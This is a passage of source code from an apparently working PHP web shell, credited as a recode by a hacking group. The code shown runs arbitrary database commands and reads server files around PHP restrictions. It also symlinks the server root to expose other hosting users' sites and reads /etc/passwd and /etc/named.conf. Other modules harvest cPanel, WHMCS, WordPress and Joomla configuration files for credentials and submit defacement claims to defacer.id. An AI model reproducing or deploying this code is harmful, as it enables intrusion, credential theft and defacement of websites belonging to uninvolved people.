1284 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=browse\">[<b> Browse </b>]</a> ";
1285 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
1286 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=insert\">[ <b>Insert</b> ]</a> ";
1287 if ($sql_tbl_x == "structure") { echo "<b>Under construction!</b>"; }
1288 if ($sql_tbl_x == "insert") {
1289if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
1290if (!empty($sql_tbl_insert_radio)) { echo "<b>Under construction!</b>"; }
1291else {
1292 echo "<br><br><b>Inserting row into table:</b><br>";
1293 if (!empty($sql_tbl_insert_q)) {
1294$sql_query = "SELECT * FROM `".$sql_tbl."`";
1295$sql_query .= " WHERE".$sql_tbl_insert_q;
1296$sql_query .= " LIMIT 1;";
1297$result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
1298$values = mysql_fetch_assoc($result);
1299mysql_free_result($result);
1300 }
1301 else {$values = array();}
1302 echo "<form method=\"POST\"><table width=\"1%\" class='tub'><tr><th><b>Field</b></th><th><b>Type</b></th><th><b>Function</b></th><th><b>Value</b></th></tr>";
1303 foreach ($tbl_struct_fields as $field) {
1304$name = $field["Field"];
1305if (empty($sql_tbl_insert_q)) {$v = "";}
1306echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
1307$i++;
1308 }
1309 echo "</table><br>";
1310 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
1311 if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
1312 echo "<br><br><input class=\"inputzbut\" type=\"submit\" value=\"Confirm\"></form>";
1313}
1314 }
1315 if ($sql_tbl_x == "browse") {
1316$sql_tbl_ls = abs($sql_tbl_ls);
1317$sql_tbl_le = abs($sql_tbl_le);
1318echo "<hr size=\"1\" noshade>";
1319echo "<b>Page: </b>";
1320$b = 0;
1321for($i=0;$i<$numpages;$i++) {
1322 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
1323 echo $i;
1324 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
1325 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
1326 else { echo " "; }
1327}
1328if ($i == 0) {echo "empty";}
1329echo "<br><br><form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
1330echo "<br><form method=\"POST\">\n";
1331echo "<table class='tub'><tr>";
1332echo "<th><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></th>";
1333for ($i=0;$i<mysql_num_fields($result);$i++) {
1334 $v = mysql_field_name($result,$i);
1335 if ($e[0] == "a") {$s = "d"; $m = "asc";}
1336 else {$s = "a"; $m = "desc";}
1337 echo "<th>";
1338 if (empty($e[0])) {$e[0] = "a";}
1339 if (@$e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
1340 else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."x=img&img=sort_".$m."\" alt=\"".$m."\"></a>";}
1341 echo "</th>";
1342}
1343echo "<th><font color=\"#00FF00\"><b>action</b></font></th>";
1344echo "</tr>";
1345while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
1346 echo "<tr>";
1347 $w = "";
1348 $i = 0;
1349 foreach ($row as $k=>$v) {
1350$name = mysql_field_name($result,$i);
1351$w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;
1352 }
1353 if (count($row) > 0) { $w = substr($w,0,strlen($w)-3); }
1354 echo "<td align='center' style='padding:0px;'><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
1355 $i = 0;
1356 foreach ($row as $k=>$v) {
1357$v = htmlspecialchars($v);
1358if ($v == "") { $v = "<font color=\"#00FF00\">NULL</font>"; }
1359echo "<td>".$v."</td>";
1360$i++;
1361 }
1362 echo "<td>";
1363 echo "<a href=\"".$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">Delete</a>";
1364 echo " | ";
1365 echo "<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\">Edit</a> ";
1366 echo "</td>";
1367 echo "</tr>";
1368}
1369mysql_free_result($result);
1370echo "</table><hr size=\"1\" noshade><p align=\"left\"><input type=\"checkbox\"/> <select name=\"sql_x\">";
1371echo "<option value=\"\">With selected:</option>";
1372echo "<option value=\"deleterow\">Delete</option>";
1373echo "</select> <input class=\"inputzbut\" type=\"submit\" value=\"Confirm\"></form></p>";
1374}
1375 }
1376 else {
1377$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
1378if (!$result) { echo mysql_smarterror(); }
1379else {
1380echo '<form method="POST">
1381<table class="tub">
1382<tr><th><input type="checkbox" name="boxtbl_all" value="1"></th><th>Table</th><th>Rows</th><th>Engine</th><th>Created</th><th>Modified</th><th>Size</th><th>Action</th></tr>';
1383 $i = 0;
1384 $tsize = $trows = 0;
1385 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
1386$tsize += $row["Data_length"];
1387$trows += $row["Rows"];
1388$size = view_size($row["Data_length"]);
1389echo'<tr>
1390<td align="center" style="padding:0px;"><input type="checkbox" name="boxtbl[]" value="'.$row["Name"].'"></td>
1391<td><a href="'.$sql_surl.'sql_tbl='.urlencode($row["Name"]).'"><b>'.$row["Name"].'</b></a></td>
1392<td>'.$row["Rows"].'</td><td>'.$row["Engine"].'</td><td>'.$row["Create_time"].'</td><td>'.$row["Update_time"].'</td><td>'.$size.'</td>
1393<td><a href="'.$sql_surl.'sql_x=query&sql_query='.urlencode("DELETE FROM `".$row["Name"]."`").'">Empty</a> | <a href="'.$sql_surl.'sql_x=query&sql_query='.urlencode("DROP TABLE `".$row["Name"]."`").'">Drop</a> | <a href="'.$sql_surl.'sql_tbl_x=insert&sql_tbl='.$row["Name"].'">Insert</a></td>
1394</tr>';
1395$i++;
1396 }
1397 echo "\t\t<tr>\n".
1398"\t\t<th>+</th><th>$i table(s)</th><th>$trows</th><th>$row[1]</th><th>$row[10]</th><th>$row[11]</th><th>".view_size($tsize)."</th><th></th>\n";
1399echo'</tr>
1400</table>
1401<div align="right">
1402<select class="inputz" name="sql_x">
1403<option value="">With selected:</option>
1404<option value="tbldrop">Drop</option>
1405<option value="tblempty">Empty</option>";
1406<option value="tbldump">Dump</option>";
1407<option value="tblcheck">Check table</option>";
1408<option value="tbloptimize">Optimize table</option>";
1409<option value="tblrepair">Repair table</option>";
1410<option value="tblanalyze">Analyze table</option>";
1411</select>
1412<input class="inputzbut" type="submit" value="Confirm">
1413</div>
1414</form>';
1415 mysql_free_result($result);
1416}
1417 }
1418}
1419 }
1420}
1421else {
1422$xs = array("","newdb","serverstatus","servervars","processes","getfile");
1423if (in_array($sql_x,$xs)) {
1424echo '<table class="tab">
1425<tr>
1426<td style="border:1px solid #333333;padding:3px;"><b>Create new DB:</b>
1427<form action="'.$surl.'">
1428<input type="hidden" name="x" value="sql">
1429<input type="hidden" name="sql_x" value="newdb">
1430<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1431<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1432<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1433<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1434<input class="inputz" type="text" name="sql_newdb" size="20">
1435<input class="inputzbut" type="submit" value="Create">
1436</form>
1437</td>
1438<td style="border:1px solid #333333;padding:3px;"><b>View File:</b>
1439<form action="'.$surl.'">
1440<input type="hidden" name="x" value="sql">
1441<input type="hidden" name="sql_x" value="getfile">
1442<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1443<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1444<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1445<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1446<input class="inputz" type="text" name="sql_getfile" size="30" value="'.htmlspecialchars($sql_getfile).'">
1447<input class="inputzbut" type="submit" value="Get">
1448</form>
1449</td>
1450</tr>
1451</table>';
1452}
1453if (!empty($sql_x)) {
1454 echo "<hr size=\"1\" noshade>";
1455 if ($sql_x == "newdb") {
1456echo "<b>";
1457if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
1458else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1459 }
1460 if ($sql_x == "serverstatus") {
1461$result = mysql_query("SHOW STATUS", $sql_sock);
1462echo "<center><b>Server status variables:</b><br><br>";
1463echo "<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>";
1464while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1465echo "</table></center>";
1466mysql_free_result($result);
1467 }
1468 if ($sql_x == "servervars") {
1469$result = mysql_query("SHOW VARIABLES", $sql_sock);
1470echo "<center><b>Server variables:</b><br><br>";
1471echo "<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>";
1472while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1473echo "</table>";
1474mysql_free_result($result);
1475 }
1476 if ($sql_x == "processes") {
1477if (!empty($kill)) {
1478 $query = "KILL ".$kill.";";
1479 $result = mysql_query($query, $sql_sock);
1480 echo "<b>Process #".$kill." was killed.</b>";
1481}
1482$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
1483echo "<center><b>Processes:</b><br><br>";
1484echo "<table class='tub'><th><b>ID</b></th><th><b>USER</b></th><th><b>HOST</b></th><th><b>DB</b></th><th><b>COMMAND</b></th><th><b>TIME</b></th><th><b>STATE</b></th><th><b>INFO</b></th><th><b>Action</b></th></tr>";
1485while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_x=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
1486echo "</table>";
1487mysql_free_result($result);
1488 }
1489 if ($sql_x == "getfile") {
1490$tmpdb = $sql_login."_tmpdb";
1491$select = mysql_select_db($tmpdb);
1492if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
1493if ($select) {
1494 $created = FALSE;
1495 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1496 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
1497 $result = mysql_query("SELECT * FROM tmp_file;");
1498 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1499 else {
1500for ($i=0;$i<mysql_num_fields($result);$i++) { $name = mysql_field_name($result,$i); }
1501$f = "";
1502while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $f .= join ("\r\n",$row); }
1503if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
1504else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1505mysql_free_result($result);
1506mysql_query("DROP TABLE tmp_file;");
1507 }
1508}
1509mysql_drop_db($tmpdb);
1510 }
1511}
1512 }
1513}
1514echo '</td></tr>';
1515if ($sql_sock) {
1516 $affected = @mysql_affected_rows($sql_sock);
1517 if ((!is_numeric($affected)) or ($affected < 0)) { $affected = 0; }
1518 echo "\t<tr><th colspan=2>Affected rows: $affected</th></tr>";
1519}
1520echo '</table></center>';
1521 }
1522echo '</form>';
1523}
1524}
1525elseif($_GET['do'] == 'about') {
1526 echo "<link href='http://fonts.googleapis.com/css?family=Iceberg' rel='stylesheet' type='text/css'>";
1527 echo '<Center style="color:blue">
1528 <font size="4pt" face="Iceberg"><font color="red" face="Iceberg">[</font>Hanya Sebuah shell recode dari GSH Coder Shell by Anazvr<font color="red">]</font></font><br>
1529 <font size="4pt" face="Iceberg"><font color="red" face="Iceberg">Thanks to:</font><marquee width="40%"> Anazvr | ./CalmCoder | Mr.Spongebob | Mr.UdinDotID | AleXa | ./cOLI | Azhoka1337 | WokaBoYa | Cyclo | Inisial-C | And You :*</marquee></font>
1530 </center>
1531<br><br>Special Thanks :<br><a href="http://blog.garudasecurityhacker.org" target="blank">Anazvr</a>
1532</font>
1533';
1534echo "<hr color='white'>";
1535echo "Find Me: <a href='https://facebook.com/alvin.go.id' target='blank'>Facebook</a>";
1536}
1537elseif($_GET['do'] == 'symlink') {
1538$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
1539$d0mains = @file("/etc/named.conf");
1540##httaces
1541if($d0mains){
1542@mkdir("cox_sym",0777);
1543@chdir("cox_sym");
1544@exe("ln -s / root");
1545$file3 = 'Options Indexes FollowSymLinks
1546DirectoryIndex jancox.htm
1547AddType text/plain .php
1548AddHandler text/plain .php
1549Satisfy Any';
1550$fp3 = fopen('.htaccess','w');
1551$fw3 = fwrite($fp3,$file3);@fclose($fp3);
1552echo "
1553<table align=center border=1 style='width:60%;border-color:#333333;'>
1554<tr>
1555<td align=center><font size=2>S. No.</font></td>
1556<td align=center><font size=2>Domains</font></td>
1557<td align=center><font size=2>Users</font></td>
1558<td align=center><font size=2>Symlink</font></td>
1559</tr>";
1560$dcount = 1;
1561foreach($d0mains as $d0main){
1562if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
1563flush();
1564if(strlen(trim($domains[1][0])) > 2){
1565$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1566echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
1567<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
1568<td>".$user['name']."</td>
1569<td><a href='$full/cox_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
1570flush();
1571$dcount++;}}}
1572echo "</table>";
1573}else{
1574$TEST=@file('/etc/passwd');
1575if ($TEST){
1576@mkdir("cox_sym",0777);
1577@chdir("cox_sym");
1578exe("ln -s / root");
1579$file3 = 'Options Indexes FollowSymLinks
1580DirectoryIndex jancox.htm
1581AddType text/plain .php
1582AddHandler text/plain .php
1583Satisfy Any';
1584 $fp3 = fopen('.htaccess','w');
1585 $fw3 = fwrite($fp3,$file3);
1586 @fclose($fp3);
1587 echo "
1588 <table align=center border=1><tr>
1589 <td align=center><font size=3>S. No.</font></td>
1590 <td align=center><font size=3>Users</font></td>
1591 <td align=center><font size=3>Symlink</font></td></tr>";
1592 $dcount = 1;
1593 $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
1594 while(!feof($file)){
1595 $s = fgets($file);
1596 $matches = array();
1597 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1598 $matches = str_replace("home/","",$matches[1]);
1599 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1600 continue;
1601 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
1602 <td align=center><font class=txt>" . $matches . "</td>";
1603 echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1604 $dcount++;}fclose($file);
1605 echo "</table>";}else{if($os != "Windows"){@mkdir("cox_sym",0777);@chdir("cox_sym");@exe("ln -s / root");$file3 = '
1606 Options Indexes FollowSymLinks
1607DirectoryIndex Anazvr.htm
1608AddType text/plain .php
1609AddHandler text/plain .php
1610Satisfy Any
1611';
1612 $fp3 = fopen('.htaccess','w');
1613 $fw3 = fwrite($fp3,$file3);@fclose($fp3);
1614 echo "
1615 <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
1616 <table align=center border=1><tr>
1617 <td align=center><font size=3>ID</font></td>
1618 <td align=center><font size=3>Users</font></td>
1619 <td align=center><font size=3>Symlink</font></td></tr>";
1620 $temp = "";$val1 = 0;$val2 = 1000;
1621 for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
1622 if ($uid)$temp .= join(':',$uid)."\n";}
1623 echo '<br/>';$temp = trim($temp);$file5 =
1624 fopen("test.txt","w");
1625 fputs($file5,$temp);
1626 fclose($file5);$dcount = 1;$file =
1627 fopen("test.txt", "r") or exit("Unable to open file!");
1628 while(!feof($file)){$s = fgets($file);$matches = array();
1629 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
1630 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1631 continue;
1632 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
1633 <td align=center><font class=txt>" . $matches . "</td>";
1634 echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1635 $dcount++;}
1636 fclose($file);
1637 echo "</table></div></center>";unlink("test.txt");
1638 } else
1639 echo "<center><font size=3>Cannot create Symlink</font></center>";
1640 }
1641 }
1642}
1643elseif($_GET['do'] == 'defacerid') {
1644echo "<center><form method='post'>
1645 <u>Defacer</u>: <br>
1646 <input type='text' name='hekel' size='50' value'4LV1N_404'><br>
1647 <u>Team</u>: <br>
1648 <input type='text' name='tim' size='50' value='Garuda Security Hacker'><br>
1649 <u>Domains</u>: <br>
1650 <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
1651 <input type='submit' name='go' value='Submit' style='width: 450px;'>
1652 </form>";
1653$site = explode("\r\n", $_POST['sites']);
1654$go = $_POST['go'];
1655$hekel = $_POST['hekel'];
1656$tim = $_POST['tim'];
1657if($go) {
1658foreach($site as $sites) {
1659$zh = $sites;
1660$form_url = "https://www.defacer.id/notify";
1661$data_to_post = array();
1662$data_to_post['attacker'] = "$hekel";
1663$data_to_post['team'] = "$tim";
1664$data_to_post['poc'] = 'SQL Injection';
1665$data_to_post['url'] = "$zh";
1666$curl = curl_init();
1667curl_setopt($curl,CURLOPT_URL, $form_url);
1668curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
1669curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
1670curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
1671curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
1672curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
1673$result = curl_exec($curl);
1674echo $result;
1675curl_close($curl);
1676echo "<br>";
1677}
1678}
1679}
1680
1681elseif($_GET['do'] == 'config') {
1682 if($_POST){
1683 $passwd = $_POST['passwd'];
1684 mkdir("cox_config", 0777);
1685 $isi_htc = "Options all\nRequire None\nSatisfy Any";
1686 $htc = fopen("cox_config/.htaccess","w");
1687 fwrite($htc, $isi_htc);
1688 preg_match_all('/(.*?):x:/', $passwd, $user_config);
1689 foreach($user_config[1] as $user_cox) {
1690 $user_config_dir = "/home/$user_cox/public_html/";
1691 if(is_readable($user_config_dir)) {
1692 $grab_config = array(
1693 "/home/$user_cox/.my.cnf" => "cpanel",
1694 "/home/$user_cox/.accesshash" => "WHM-accesshash",
1695 "/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
1696 "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
1697 "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
1698 "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
1699 "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
1700 "/home/$user_cox/public_html/forum/config.php" => "phpBB",
1701 "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
1702 "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
1703 "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
1704 "/home/$user_cox/public_html/admin/config.php" => "OpenCart",
1705 "/home/$user_cox/public_html/slconfig.php" => "Sitelok",
1706 "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",
1707 "/home/$user_cox/public_html/whm/configuration.php" => "WHMCS",
1708 "/home/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
1709 "/home/$user_cox/public_html/central/configuration.php" => "WHM Central",
1710 "/home/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
1711 "/home/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
1712 "/home/$user_cox/public_html/submitticket.php" => "WHMCS",
1713 "/home/$user_cox/public_html/configuration.php" => "Joomla",
1714 "/home/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
1715 "/home/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
1716 "/home/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
1717 "/home/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
1718 "/home/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
1719 "/home/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
1720 "/home/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
1721 "/home/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
1722 "/home/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
1723 "/home/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
1724 "/home/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
1725 "/home/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
1726 "/home/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
1727 "/home/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
1728 "/home/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
1729 "/home/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
1730 "/home/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
1731 "/home/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
1732 "/home/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
1733 "/home/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
1734 "/home/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
1735 "/home/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
1736 "/home/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
1737 "/home/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
1738 "/home/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
1739 "/home/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
1740 "/home/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
1741 "/home/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
1742 "/home/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
1743 "/home/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
1744 "/home/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
1745 "/home/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
1746 "/home/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
1747 "/home/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
1748 "/home/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
1749 "/home/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
1750 "/home/$user_cox/public_html/wp-config.php" => "WordPress",
1751 "/home/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
1752 "/home/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
1753 "/home/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
1754 "/home/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
1755 "/home/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
1756 "/home/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
1757 "/home/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
1758 "/home/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
1759 "/home/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
1760 "/home/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
1761 "/home/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
1762 "/home/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
1763 "/home/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
1764 "/home/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
1765 "/home/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
1766 "/home/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
1767 "/home/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
1768 "/home/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
1769 "/home/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
1770 "/home/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
1771 "/home/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
1772 "/home/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
1773 "/home/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
1774 "/home/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
1775 "/home/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
1776 "/home/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
1777 "/home/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
1778 "/home/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
1779 "/home/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
1780 "/home/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
1781 "/home/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
1782 "/home/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
1783 "/home/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
